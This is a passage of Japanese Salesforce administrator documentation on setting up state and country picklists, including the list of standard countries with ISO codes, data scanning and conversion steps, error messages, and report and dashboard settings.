にするためには必要ありませんが、設定することを強くお勧めします。選択リ
ストを設定することで、既存の都道府県および国データやカスタマイズの継続
性やデータの整合性を維持しやすくなります。
都道府県と国を設定するときは、国から開始して、その都道府県にドリルダウ
ンします。州選択リストと国選択リストには、デフォルトで 239 か国が含まれて
います。さらに、米国、カナダ、オーストラリア、ブラジル、中国、インド、
アイルランド、イタリア、メキシコの州も含まれています。州選択リストと国
選択リストに含まれる都道府県または国が 1,000 を超えると、パフォーマンスが
低下する場合があります。デフォルトの国の完全なリストは、「住所選択リス
トの標準の国」を参照してください。

メモ:

• 州選択リストと国選択リストのインテグレーション値は、メタデータ
APIを使用して設定することもできます。詳細は、『メタデータ API 開発
者ガイド』の AddressSettings コンポーネントの説明を参照してください。

• 州選択リストと国選択リストは、Salesforceの変更セットまたはパッケー
ジではサポートされません。ただし、メタデータ API を使用すると、
Sandbox 組織と本番組織の間で州選択リストと国選択リストのインテグ
レーション値の変更を移動できます。最初に、Sandbox 組織で州選択リ
ストと国選択リストを設定します。次に、メタデータ API を使用して
Sandbox 設定を取得し、本番組織にリリースします。API を使用して、新
しい ISO コードをリリースしたり ISO コード値を更新したりすることは
できません。

1. [設定] から、[クイック検索] ボックスに「州/国選択リスト」と入力し、[州/国選択リスト] を選択します。
2. [州/国選択リスト] 設定ページで、[都道府県/国を設定] をクリックします。
3. 次のオプションから選択します。

有効
国をメタデータ APIで使用可能にし、国が含まれるレコードをインポートできるようにします。ただし、
さらに参照可能に設定しない限り、Salesforce ではユーザに国は表示されません。

参照可能
Salesforceでユーザが国を利用できるようにします。国を参照可能にするには、有効にしておく必要があ
ります。

4. 都道府県の設定を含む、国の詳細を表示および編集するには、[編集] をクリックします。
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5. (省略可能) [選択リスト設定] で [デフォルトの国] を選択します。[デフォルトの国] には、組織の新しいレ
コード用に国選択リストが自動的に入力されますが、ユーザは別の国を選択できます。デフォルトの国は
有効かつ参照可能である必要があります。

6. 設定を保存するには、[保存] をクリックします。

メモ: 有効な都道府県と国は、[参照可能] とマークされていなくても、検索条件のルックアップ値とし
て有効です。レポート、リストビュー、ワークフローなどで検索条件を作成する場合、非表示の都道府
県と国を使用できます。

関連トピック:

都道府県と国の詳細の編集
選択リストからの州と国の選択の許可
州選択リストと国選択リストのインテグレーション値

住所選択リストの標準の国

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

標準の国
次の 239 か国は、国住所選択リストの標準として Salesforce で提供されます。ア
スタリスク (*) は、その国の州を使用できることを示します。

国ISO コード

アンドラAD

アラブ首長国連邦AE

アフガニスタンAF

アンチグアバーブーダAG

アングィラAI

アルバニアAL

アルメニアAM

アンゴラAO

南極AQ

アルゼンチンAR

オーストリアAT

オーストラリア*AU

アルーバAW

オーランド諸島AX
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国ISO コード

アゼルバイジャンAZ

ボスニア・ヘルツェゴヴィナBA

バルバドスBB

バングラデッシュBD

ベルギーBE

ブルキナファソBF

ブルガリアBG

バーレーンBH

ブルンジBI

ベナンBJ

セント・バーツ島BL

バミューダBM

ブルネイダルサラームBN

ボリビア多民族国BO

ボネール島、シントユースタティウス島およびサバ島BQ

ブラジル*BR

バハマBS

ブータンBT

ブーヴェ島BV

ボツワナBW

ベラルーシBY

ベリーズBZ

カナダ*CA

ココス (キーリング) 諸島CC

コンゴ共和国CD

中央アフリカ共和国CF

コンゴCG

スイスCH
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国ISO コード

コートジボアールCI

クック諸島CK

チリCL

カメルーンCM

中国*CN

コロンビアCO

コスタリカCR

キューバCU

カーボベルデCV

キュラソー島CW

クリスマス島CX

キプロスCY

チェコ共和国CZ

ドイツDE

ジブチDJ

デンマークDK

ドミニカ国DM

ドミニカ共和国DO

アルジェリアDZ

エクアドルEC

エストニアEE

エジプトEG

西サハラEH

エリトリアER

スペインES

エチオピアET

フィンランドFI

フィジーFJ
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国ISO コード

フォークランド諸島 (マルビナス)FK

フェロー諸島FO

フランスFR

ガボンGA

イギリスGB

グレナダGD

グルジアGE

フランス領ギアナGF

ガーンジー島GG

ガーナGH

ジブラルタルGI

グリーンランドGL

ガンビアGM

ギニアGN

グアドループGP

赤道ギニアGQ

ギリシャGR

サウスジョージア・サウスサンドウィッチ諸島GS

グアテマラGT

ギニアビサウGW

ガイアナGY

ハード島とマクドナルド諸島HM

ホンジュラスHN

クロアチアHR

ハイチHT

ハンガリーHU

インドネシアID

アイルランド*IE
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国ISO コード

イスラエルIL

マン島IM

インド*IN

英領インド洋植民地IO

イラクIQ

イラン (イスラム共和国)IR

アイスランドIS

イタリア*IT

ジャージー島JE

ジャマイカJM

ヨルダンJO

日本JP

ケニアKE

キルギスタンKG

カンボジアKH

キリバスKI

コモロKM

セントクリストファーネイビスKN

北朝鮮 (朝鮮民主主義人民共和国)KP

大韓民国KR

クウェートKW

ケイマン諸島KY

カザフスタンKZ

ラオス人民民主共和国LA

レバノンLB

セントルシアLC

リヒテンシュタインLI

スリランカLK
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国ISO コード

リベリアLR

レソトLS

リトアニアLT

ルクセンブルグLU

ラトビアLV

リビア・アラブ国LY

モロッコMA

モナコMC

モルドバ共和国MD

モンテネグロME

サン・マルタン (フランス領)MF

マダガスカルMG

マケドニア旧ユーゴスラビア共和国MK

マリML

ミャンマーMM

モンゴルMN

マカオMO

マルティニーク島MQ

モーリタニアMR

モントセラトMS

マルタMT

モーリシャスMU

モルジブMV

マラウィMW

メキシコ*MX

マレーシアMY

モザンビークMZ

ナミビアNA
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国ISO コード

ニューカレドニアNC

ニジェールNE

ノーフォーク島NF

ナイジェリアNG

ニカラグアNI

オランダNL

ノルウェイNO

ネパールNP

ナウルNR

ニウエNU

ニュージーランドNZ

オマーンOM

パナマPA

ペルーPE

フランス領ポリネシアPF

パプアニューギニアPG

フィリピンPH

パキスタンPK

ポーランドPL

サンピエール島・ミクロン島PM

ピトケアンPN

パレスチナPS

ポルトガルPT

パラグアイPY

カタールQA

レユニオンRE

ルーマニアRO

セルビアRS
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国ISO コード

ロシア連邦RU

ルワンダRW

サウジアラビアSA

ソロモン諸島SB

セイシェルSC

スーダンSD

スウェーデンSE

シンガポールSG

セントヘレナ・アセンションおよびトリスタンダクー
ニャ

SH

スロベニアSI

スバールバル諸島・ヤンマイエン島SJ

スロバキアSK

シェラレオネSL

サンマリノSM

セネガルSN

ソマリアSO

スリナムSR

南スーダンSS

サントメプリンシペST

エルサルバドルSV

シントマールテン (オランダ領)SX

シリア・アラブ共和国SY

スワジランドSZ

タークス・カイコス諸島TC

チャドTD

フランス南方領土TF

トーゴTG

タイTH
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国ISO コード

タジキスタンTJ

トケラウTK

東チモールTL

トルクメニスタンTM

チュニジアTN

トンガTO

トルコTR

トリニダード・トバゴTT

ツバルTV

台湾TW

タンザニア連合共和国TZ

ウクライナUA

ウガンダUG

アメリカ*US

ウルグアイUY

ウズベキスタンUZ

ローマ教皇庁 (バチカン市国)VA

セントビンセントおよびグレナディーン諸島VC

ベネズエラ・ボリバル共和国VE

イギリス領ヴァージン諸島VG

ベトナムVN

バヌアツVU

ワリー・エ・フトゥーナ諸島WF

サモアWS

イエメンYE

マイヨットYT

南アフリカZA

ザンビアZM
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国ISO コード

ジンバブエZW

都道府県と国の詳細の編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

都道府県または国の詳細
を追加または編集する
• 「すべてのデータの編

集」

都道府県または国の詳細ページで、都道府県と国を組織に追加したり、既存の
都道府県や国の値を編集したりすることができます。都道府県を追加または編
集するには、関連付けられた国の詳細ページから都道府県の詳細ページに移動
します。
1. [設定] から、[クイック検索]ボックスに「都道府県」と入力し、[州/国選択リ

スト] を選択します。
2. [都道府県/国を設定] をクリックします。
3. [新規の国] をクリックして国を追加するか、一覧表示された国の [編集] をク

リックします。
4. [国情報] でオプションを指定します。

国名
デフォルトでは、ISO 標準名です。この名前が Salesforce ユーザインター
フェースでユーザに表示されます。

国コード
デフォルトでは、2 文字の ISO 標準コードです。ISO コードを変更する場
合、新しい値は一意である必要があります。コードでは大文字と小文字が区別され、ASCII 文字および数
字のみを使用する必要があります。標準の都道府県または国の ISO コードは編集できません。カスタム
の都道府県および国の国コードは、ユーザに対しそれらの都道府県および国を有効化する前であれば編
集できます。

インテグレーション値
都道府県または国コードにリンクしているカスタマイズ可能なテキスト値です。標準の都道府県および
国のインテグレーション値は、デフォルトでは完全な ISO 標準の都道府県および国名になります。イン
テグレーション値は、カスタム項目およびオブジェクトのAPI名と同様に機能します。インテグレーショ
ン値を設定すると、州選択リストと国選択リストを有効にする前に設定したインテグレーションが引き
続き機能できます。
インテグレーション値は、組織の他の場所で使用している値と一致するように編集できます。たとえ
ば、国名としてデフォルトの United States ではなく USA を使用するワークフロールールがあると
します。手動で国コード USのインテグレーション値を USAに設定すると、州選択リストと国選択リス
トを有効にしたときにワークフロールール違反になりません。
レコードのコード値を更新すると、そのレコードの [都道府県 (テキストのみ)] または [国 (テキスト
のみ)]列に、対応するインテグレーション値が入力されます。同様に、都道府県または国の [(テキス
トのみ)] 列を有効なインテグレーション値で更新すると、対応する都道府県または国コード列の同期
が維持されます。州選択リストおよび国選択リストを有効にした後で、組織のインテグレーション値を
変更できます。ただし、選択リストの都道府県および国のインテグレーション値を更新した場合、レ
コード上にあるそのインテグレーション値は更新されません。名前値はレコードに保存されません。代
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わりに、レコードの [都道府県コード]または [国コード]値に基づいて Salesforceから取得されます。選
択リストの都道府県または国で [名前]と [インテグレーション値]の項目値が異なる場合、レポートま
たはリストビュー検索条件で正しい値が使用されていることを確認します。State および Country 条
件では名前を使用し、State (text only)および Country (text only)条件ではインテグレーショ
ン値を使用します。このように使用しないと、レポートですべての関連レコードを取得することができ
ません。

有効
国をメタデータ APIで使用可能にし、国が含まれるレコードをインポートできるようにします。ただし、
さらに参照可能に設定しない限り、Salesforce ではユーザに国は表示されません。

参照可能
Salesforceでユーザが国を利用できるようにします。国を参照可能にするには、事前に有効にしておく必
要があります。

5. 国を追加する場合は、[追加] をクリックします。
6. 国を編集する場合は、[都道府県] のオプションを次のように指定します。

有効
都道府県をメタデータ API で使用可能にし、都道府県が含まれるレコードをインポートできるようにし
ます。ただし、さらに [参照可能] に設定しない限り、Salesforce ではユーザに都道府県は表示されませ
ん。

参照可能
Salesforceでユーザが都道府県を利用できるようにします。都道府県を参照可能にするには、事前に有効
にしておく必要があります。

7. 必要に応じて次のいずれかをクリックします。
• カスタムの都道府県を追加する場合は、[新規の都道府県]をクリックします。[新規の州] ページで、[州

名]、[州コード]、[インテグレーション値] を指定し、新しい都道府県が [有効] か [参照可能] かを選
択します。新しい都道府県を保存するには、[追加] をクリックします。

• [都道府県名]、[都道府県コード]、[インテグレーション値] など、都道府県の詳細を表示および編集す
るには [編集] をクリックします。

8. [保存] をクリックします。

関連トピック:

州選択リストと国選択リストの設定
選択リストからの州と国の選択の許可
州選択リストと国選択リストのインテグレーション値
州選択リストおよび国選択リストとメタデータ API
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州選択リストおよび国選択リストとメタデータ API

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

多くの州選択リストと国選択リストのインテグレーション値を編集する場合、
[設定] で値を編集するよりもメタデータ API を使用する方が効率的です。
メタデータ API を使用して [州/国選択リスト] で既存の都道府県および国を編集
できます。メタデータ APIを使用して新規の都道府県や国を作成、削除すること
はできません。最初に、Sandbox 組織で州選択リストと国選択リストを設定しま
す。次に、メタデータ API を使用して Sandbox 設定を取得し、本番組織にリリー
スします。API を使用して、新しい ISO コードをリリースしたり ISO コード値を更
新したりすることはできません。メタデータ APIで州選択リストと国選択リスト
を処理する方法についての詳細は、『メタデータ API 開発者ガイド』の
「AddressSettings」を参照してください。

関連トピック:

州選択リストと国選択リストのインテグレーション値
都道府県と国の詳細の編集

都道府県および国のデータとカスタマイズをスキャンするための準備

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

テキストベースの都道府県項目および国項目を標準化された州選択リストおよ
び国選択リストに切り替える前に、変更による組織への影響を確認するために
組織をスキャンします。この検出プロセスにより、都道府県および国データが
組織内のどこにどのように表示されるかが判明します。また、このデータがカ
スタマイズのどこで使用されているか (リストビューやレポートなど) も判明し
ます。スキャン結果を分析したら、データの変換、カスタマイズの更新、州選
択リストと国選択リストの有効化を計画できます。
検出プロセスは組織によって異なります。組織によっては、都道府県および国
のテキスト項目から標準化された選択リストへの移行が単純であり、容易に処
理できます。一方で、都道府県および国のメタデータが組織全体で広範に使用
されている場合、移行は複雑になり、処理に時間がかかります。Salesforceでは、
新しいリストに円滑に移行できるように、早期かつ頻繁に組織をスキャンすることをお勧めします。次のベス
トプラクティスと考慮事項に注意してください。
• スキャンによりデータが変換されたり、カスタマイズが修正されたりすることはありません。データを別

個に変換し、カスタマイズを個別に更新してください。
• スキャン中、組織の処理は通常どおり続行できます。
• スキャンプロセスでは、影響を受ける管理パッケージは識別されますが、パッケージの問題に対処するた

めのメカニズムは提供されません。
• スキャンでは、都道府県と国のメタデータを含む数式は検出されません。
• 比較数式関数を使用する入力規則またはワークフロールールで表示値を使用することはできません。都道

府県項目または国項目に対する入力規則またはワークフロールールで BEGINS、CONTAINS、ISCHANGED、
または REGEX を使用している場合、比較関数で ISPICKVAL を都道府県および国コード値と共に使用しま
す。
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• スキャンでは、都道府県と国のメタデータを使用する個人のリストビューやレポートは検出されません。
個人ユーザは、これらのカスタマイズを自分で更新する必要があります。

• 取引開始済みのリードはスキャンできません。州および国選択リストを有効にした場合、取引開始済みリー
ドレコードの都道府県値と国値は更新されません。

• 組織を複数回スキャンします。カスタマイズの更新後、再度スキャンして、変更により問題が修正され、
新しい問題が発生していないことを確認してください。

関連トピック:

都道府県および国のデータとカスタマイズのスキャン
選択リストからの州と国の選択の許可

都道府県および国のデータとカスタマイズのスキャン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

都道府県および国のデー
タとカスタマイズをス
キャンする
• 「すべてのデータの編

集」

および

「ドキュメントの作
成」

組織でテキストベースの都道府県および国の値をスキャンすると、テキストベー
スの都道府県および国データが既存のレコード内のどこにどのように表示され
るかが判明します。たとえば、United States がどのようなテキスト値として保存
されたかがすべてわかります。U.S.、US、America、Estados Unidos や、Untied States

のようなスペルミスのあるエントリとして保存される場合もあります。さらに、
スキャンにより、カスタマイズ内のどこで都道府県および国のデータが使用さ
れているかも判明します。たとえば、次のような場所があります。
• リストビュー
• レポート
• 入力規則
• カスタムボタンとカスタムリンク
• ワークフロールール
• メールテンプレート
• 項目セット
• Apex クラスおよびトリガ
• Visualforce ページ
スキャンが完了すると、詳細なレポートへのリンクを含む 2 件 (住所データとカ
スタマイズについて 1 件ずつ) のメールを受信します。レポートを分析したら、
既存のデータを選択リスト値に変換し、新しい選択リスト項目で使用できるよ
うにカスタマイズを更新する作業を開始します。
1. [設定] から、[クイック検索] ボックスに「州/国選択リスト」と入力し、[州/国選択リスト] を選択します。
2. [州/国選択リスト] 設定ページで、[今すぐスキャン] をクリックし、[スキャン] をクリックします。
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3. 結果を含むメールを受信するまで待機します。
組織の規模と複雑さに応じて、結果が生成されるまで数分から数時間かかる場合があります。

メモ: メールの送信者は noreply@salesforce.com です。件名は「Salesforce 住所データのスキャン」または
「Salesforce住所カスタマイズのスキャン」です。メールが送られてこない場合は、メールがスパムフィ
ルタで捕捉されていないか確認してください。

4. 各メールのリンクをクリックして、影響を受けるデータまたはカスタマイズのレポートが含まれるドキュ
メントに移動します。

5. ドキュメントの詳細ページで、[ファイルを表示] をクリックします。

関連トピック:

選択リストからの州と国の選択の許可
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都道府県および国データの変換の準備

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

テキストベースの都道府県および国の値がSalesforce組織に含まれている場合は、
そのデータを標準化された選択リスト値に変換できます。既存のデータを変換
した場合、選択リストに切り替えた後でもデータを引き続き処理できます。た
とえば、営業担当のワシントン州内のリードを抜粋したレポートがあり、レポー
トが州選択リスト値 Washington から生成されているとします。Wash.、WA、
Washington などのテキストベースの値を含むレコードがレポートに含まれるよう
にするには、テキストベースの都道府県データを標準化された選択リスト値に
変換します。
既存の都道府県および国テキストデータを標準化された選択リスト値に変換す
ることで、組織で選択リストが有効化された後にデータの整合性が確保されま
す。ユーザが選択リストにない都道府県または国の値が含まれるレコードを保存すると、入力規則エラーが発
生します。また、州選択リストと国選択リストを有効にする前に作成したレコードに、選択リストを使用して
作成したレコードとは異なる都道府県および国の値が含まれていると、レポートの信頼性が低下します。
データを変換するとき、Salesforceでは、最初に国、次に都道府県が処理されます。変換プロセスを進めるとき
は、次の点に留意してください。
• 頻繁に保存してください。変換ツールの終了や再開はいつでも可能です。
• データの変換中、組織の処理は通常どおり続行できます。
• 影響を受けるデータとカスタマイズのスキャン中、あるいは州選択リストまたは国選択リストのリリース

中は、データを変換できません。
• ユーザ向けに選択リストを有効化するまでは、いつでも手順を繰り返したり、元に戻したりできます。選

択リストを有効化した後は、変換を元に戻すことはできません。
• Data.com Clean を使用する場合は、変換が完了するまでクリーンアップジョブを一時停止することをお勧め

します。

関連トピック:

都道府県および国データの変換
選択リストからの州と国の選択の許可
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都道府県および国データの変換

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

テキストベースの都道府
県および国データを変換
する
• 「すべてのデータの編

集」

テキストベースの都道府県および国データを選択リストと互換性のある値に変
換するには、特定のテキスト値を選択し、その値に対応付ける標準値を選択し
ます。たとえば、出現するすべての「USA」を選択して、「United States」に変更
することができます。
[州/国選択リスト] 設定で都道府県と国の値を変換する前に、組織の選択リスト
を設定します。これにより、選択リストを有効化すると、指定したインテグレー
ション値がすべての新規および更新されたレコードで使用され、組織内のデー
タの一貫性と正確性が確保されます。
最初に国を変換し、その後で都道府県を変換します。
変換できる国値は最大 2,000、都道府県値は最大 2,000 ですが、州選択リストまた
は国選択リストに含まれる都道府県または国が 1,000 を超えると、パフォーマン
スが低下することがあります。
1. [設定] から、[クイック検索] ボックスに「州/国選択リスト」と入力し、[州/

国選択リスト] を選択します。
2. [州/国選択リスト] 設定ページで、[今すぐ変換] をクリックします。

[国の変換] ページが開きます。このページには、組織に表示されるすべての
国のテキスト値と、各値の使用回数が表示されます。

3. 変換する 1 つ以上の値の [変更] を選択します。たとえば、United States のすべての反復で [変更] を選択し
ます。

4. [変更後] エリアで、テキスト値の変換後の国を選択し、[変更リストに保存] をクリックします。

メモ: 都道府県または国を [不明な値]に対応付けると、ユーザにはレコードの都道府県と国が表示さ
れます。ただし、レコードを保存する前に、都道府県と国を有効な値に変更しないとエラーになりま
す。

5. Canada など、他の国の値についてステップ 3 と 4 を繰り返します。
Salesforce では、[変更リスト] 領域の計画済みの変更を追跡します。

6. すべての国が対応付けられたら、[次へ] をクリックして都道府県の値を変換します。
[元の国] 列を使用して、都道府県に関連付けられた国を指定します。

7. [変更を確認] ページで、[完了] をクリックして設定の概要ページに戻るか、[完了して選択リストを有効化]

をクリックして値を変換し、組織の州選択リストと国選択リストをオンにします。
元に戻す場合は、次の点に留意してください。
• [国の変換] または [都道府県の変換] ページでは、いつでも [元に戻す]をクリックすれば変更リストの値を元

に戻すことができます。
• [都道府県の変換] ページでは、[前へ]をクリックすると [国の変換] ページに戻り、国の対応付けを変更でき

ます。
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• 都道府県と国の値は、[完了] をクリックした後でも変換できます。ただし、選択リストの有効化後は、変
換の対応付けを編集できなくなります。

関連トピック:

選択リストからの州と国の選択の許可

州選択リストと国選択リストの有効化および無効化

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

州選択リストと国選択リ
ストをオン/オフにする
• 「すべてのデータの編

集」

州選択リストと国選択リストは、有効化するとすぐにユーザが使用できるよう
になります。ただし、Salesforceで既存のレコードの ISO コード項目に値が入力さ
れるまでに時間がかかる場合があります。コード項目に値が入力される前にユー
ザがレコードの都道府県または国を編集しようとすると、コード値を選択する
ように要求されます。
1. [設定] から、[クイック検索] ボックスに「州/国選択リスト」と入力し、[州/

国選択リスト] を選択します。
2. [州/国選択リスト] 設定ページで、[有効化] をクリックして選択リストをオン

にします。

メモ:

• 既存のテキストベースのデータを選択リスト値に変換した後に、州
選択リストと国選択リストを有効化することもできます。「都道府
県および国データの変換」を参照してください。

3. 州選択リストと国選択リストをオフにするには、[州/国選択リスト] 設定ペー
ジで [無効化] をクリックします。

重要: 州選択リストと国選択リストを無効化すると、次のようになります。
• 選択リストを有効化してから保存していないレコードについては、都道府県および国の値が元のテ

キスト値に戻ります。
• 選択リストを有効化してから保存したレコードについては、都道府県および国のインテグレーショ

ン値によって元のテキスト値が置き換えられます。
• カスタマイズ (ワークフロー項目自動更新、メールテンプレート、Visualforceページなど) での州選択

リストおよび国選択リストの参照は、無効になります。
• レポートおよびリストビューで選択リスト項目を参照する列および検索条件は、非表示になりま

す。

関連トピック:

選択リストからの州と国の選択の許可
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州選択リストと国選択リストの項目同期ロジック

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

州選択リスト値および国選択リスト値を含むレコードを保存すると、Salesforce

によってレコードの都道府県および国のインテグレーション値とコード値が同
期されます。レコード詳細ページで都道府県および国のインテグレーション値
を直接編集することはできません。レコードの都道府県または国のインテグレー
ション値を直接編集するには、ワークフロー、Apex コード、API インテグレー
ションなどを使用する必要があります。

結果変更内容

Salesforce で、レコードの都道府県また
は国のインテグレーション値をコード
と一致するように更新します。

レコードの都道府県または国コードを
有効な値に更新します。

Salesforce で、レコードの都道府県また
は国コードをインテグレーション値と
一致するように更新します。

レコードの都道府県または国のインテ
グレーション値を有効な値に更新しま
す。

Salesforce で、レコードの都道府県コー
ドと、都道府県および国のインテグ
レーション値が削除されます。

レコードの国コードを削除しますが、
対応する都道府県コードは削除しませ
ん。

変更は保存されません。エラーメッ
セージが表示されます。

都道府県および国の値を含むレポート
を作成または更新します。新しい都道
府県は、新しい国には含まれていませ
ん。

変更は保存されません。エラーメッ
セージが表示されます。

既存のレコードの都道府県または国の
インテグレーション値とコード値を更
新します。新しいインテグレーション
値とコード値が一致しません。

Salesforce で、新しいレコードのインテ
グレーション値をコード値と一致する
ように更新します。

一致しない都道府県または国のインテ
グレーション値とコード値を含むレ
コードを作成します。

関連トピック:

選択リストからの州と国の選択の許可
州選択リストと国選択リストのインテグレーション値
州選択リストと国選択リストのエラーメッセージ
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州選択リストと国選択リストのエラーメッセージ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

都道府県または国のコードとテキスト値が一致しないレコードを保存しようと
すると、さまざまなエラーが発生することがあります。ここでは、それらのエ
ラーメッセージについて解説します。

原因エラー

国コードが既存の国と一致しません。項目に無効な国が指定されています

国のインテグレーション値が既存の国
と一致しません。または、データ変換
時に、国の値が Unknown value に対
応付けられました。

正しく表示されている場合でも、この
国名には問題があります。有効な国の
リストから国を選択してください。

コードとインテグレーション値が異な
る都道府県または国と一致します。

項目のインテグレーション値と ISO コー
ドが一致しませんでした

レコードに都道府県コードまたはイン
テグレーション値はありますが、国

項目に州の値を指定する前に、国を指
定する必要があります

コードがありません。対応する国がな
いと、都道府県を保存できません。

都道府県コードとインテグレーション
値は、異なる国の都道府県に属してい
ます。

既存の国では項目の州の値が認識され
ません

都道府県コードが既存の都道府県と一
致しません。

項目に無効な州が指定されています

関連トピック:

選択リストからの州と国の選択の許可
州選択リストと国選択リストのインテグレーション値
州選択リストと国選択リストの項目同期ロジック
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レポートとダッシュボードのカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

ユーザにとって最も役立つ方法でユーザに情報を提供するようにレポートとダッ
シュボードを設定します。
このページにアクセスするには、[設定] から [クイック検索]ボックスに「レポー
ト」と入力し、[レポートおよびダッシュボードの設定] を選択します。

レポートおよびダッシュボードユーザへの便利な機能の提供
ユーザがレポートおよびダッシュボードからさらに多くを得られるように、
いくつかのユーザインターフェース機能を有効または無効にできます。これ
らは利便性や使いやすさのために設定するもので、レポートおよびダッシュ
ボードで返されるデータには影響しません。
レポート通知への登録をユーザに許可
特定の総計値が指定した条件に一致した場合に通知されるレポートに登録す
ることをユーザに許可します。
レポートおよびダッシュボードのメール通知のカスタマイズ
ユーザが使用しているレポートおよびダッシュボードの情報に変更があった
ときに、ユーザに通知する方法を選択します。
カスタムレポートタイプの設定
レポートタイプは、主オブジェクトとその関連オブジェクトとの関係に基づいて、レポートで使用するレ
コードと項目のセットを定義するものです。レポートには、レポートタイプで定義された条件を満たすレ
コードのみが表示されます。
レポートとダッシュボードの拡張共有の有効化
分析共有を有効化すると、Salesforce によりユーザの既存のフォルダアクセス権が新しい詳細なアクセス権
に変換されます。
履歴トレンドレポートの設定
履歴トレンドレポートをユーザが使用できるようにするには、条件を使用して、履歴トレンドレポート用
にキャプチャするデータ量を設定することから始めます。その後、履歴レポートに必要な項目を選択しま
す。
レポートウィザードのアップグレード
強力なドラッグアンドドロップエディタであるレポートビルダーは、レポートを作成、編集するための標
準のツールです。組織でまだ従来のレポートウィザードを使用している場合は、レポートビルダーにアッ
プグレードしてください。

関連トピック:

レポートウィザードのアップグレード
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レポートおよびダッシュボードユーザへの便利な機能の提供

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

ユーザがレポートおよびダッシュボードからさらに多くを得られるように、い
くつかのユーザインターフェース機能を有効または無効にできます。これらは
利便性や使いやすさのために設定するもので、レポートおよびダッシュボード
で返されるデータには影響しません。

スクロール中のレポートヘッダーの表示
レポートヘッダーのフロート表示により、レポート結果のスクロール距離に
関係なく、列ヘッダーおよび行ヘッダーを常に画面に表示しておくことがで
きます。
ダッシュボードの迅速な検出
ダッシュボードファインダのオートコンプリート機能を使用すると、ユーザ
は [ダッシュボード] タブで検索フィルタにダッシュボード名の最初の数文字
を入力するだけでダッシュボードをすばやく検出できます。
Chatter へのダッシュボードコンポーネントの投稿
ダッシュボードコンポーネントのスナップショットを使用すると、ユーザ
は、ダッシュボードコンポーネントの静的画像を Chatter フィードに投稿し
て、すべてのユーザがそのスナップショットを表示できるようにすることができます。
レポートの社外秘情報免責事項の除外
デフォルトでは、レポートのフッターには「社外秘情報-配布厳禁」という免責事項が含まれます。この免
責事項は、レポートの共有先に対するユーザの注意を喚起し、第三者にレポートが表示されないようにす
るものです。この免責事項は自由にレポートから除外できます。
Salesforce1 での拡張グラフの表示
Salesforce1でユーザに拡張グラフを表示します。拡張グラフは Lightning Experienceのグラフに似ています。レ
ポートにドリルインする前に詳細が表示され、グラフの区分をタップするとレポートが絞り込まれて、グ
ラフの種類を変更できます。この機能は、すべてのバージョンの Salesforce1 で使用できます。
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スクロール中のレポートヘッダーの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

レポートヘッダーのフロート表示により、レポート結果のスクロール距離に関
係なく、列ヘッダーおよび行ヘッダーを常に画面に表示しておくことができま
す。
レポートヘッダーがフロート表示されるため、ユーザは長いレポートの最後ま
でスクロールしても、列のヘッダー名を参照するために先頭に戻る必要があり
ません。
また、フロート表示されているレポートヘッダーをクリックして、特定の列の
データを並び替えることもできます。フロート表示されているレポートヘッダー
をクリックしてデータを並び替えると、レポートが更新され、レポート結果の
先頭にリダイレクトされます。
ヘッダーのフロート表示は、表形式レポート、サマリーレポート、およびマト
リックスレポートで使用できます。
1. [設定] から、[クイック検索] ボックスに「レポート」と入力し、[レポートお

よびダッシュボードの設定] を選択します。
2. [レポートヘッダーのフロート表示を有効化] をオンまたはオフにします。
3. [保存] をクリックします。

ダッシュボードの迅速な検出

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

ダッシュボードファインダのオートコンプリート機能を使用すると、ユーザは
[ダッシュボード] タブで検索フィルタにダッシュボード名の最初の数文字を入力
するだけでダッシュボードをすばやく検出できます。
入力したテキストに一致するすべてのダッシュボードがドロップダウンリスト
に動的に表示されます。リストの最初にはユーザが最近参照したダッシュボー
ドが表示され、次に、他のダッシュボードがフォルダごとにアルファベット順
で表示されます。最初の 1000 結果を 1 つのリストに表示します。1000 件を超え
ると、ページごとに 500 件の結果が表示されます。ユーザは、アクセス可能な
フォルダのダッシュボードだけを参照できます。代わりに静的ドロップダウン
リストを使用するには、このオプションを無効にします。
デフォルトでは、このオプションが有効になっています。
1. [設定] から、[クイック検索] ボックスに「レポート」と入力し、[レポートお

よびダッシュボードの設定] を選択します。
2. [ダッシュボードファインダを有効化] をオンまたはオフにします。
3. [保存] をクリックします。
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Chatter へのダッシュボードコンポーネントの投稿

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

ダッシュボードコンポーネントのスナップショットを使用すると、ユーザは、
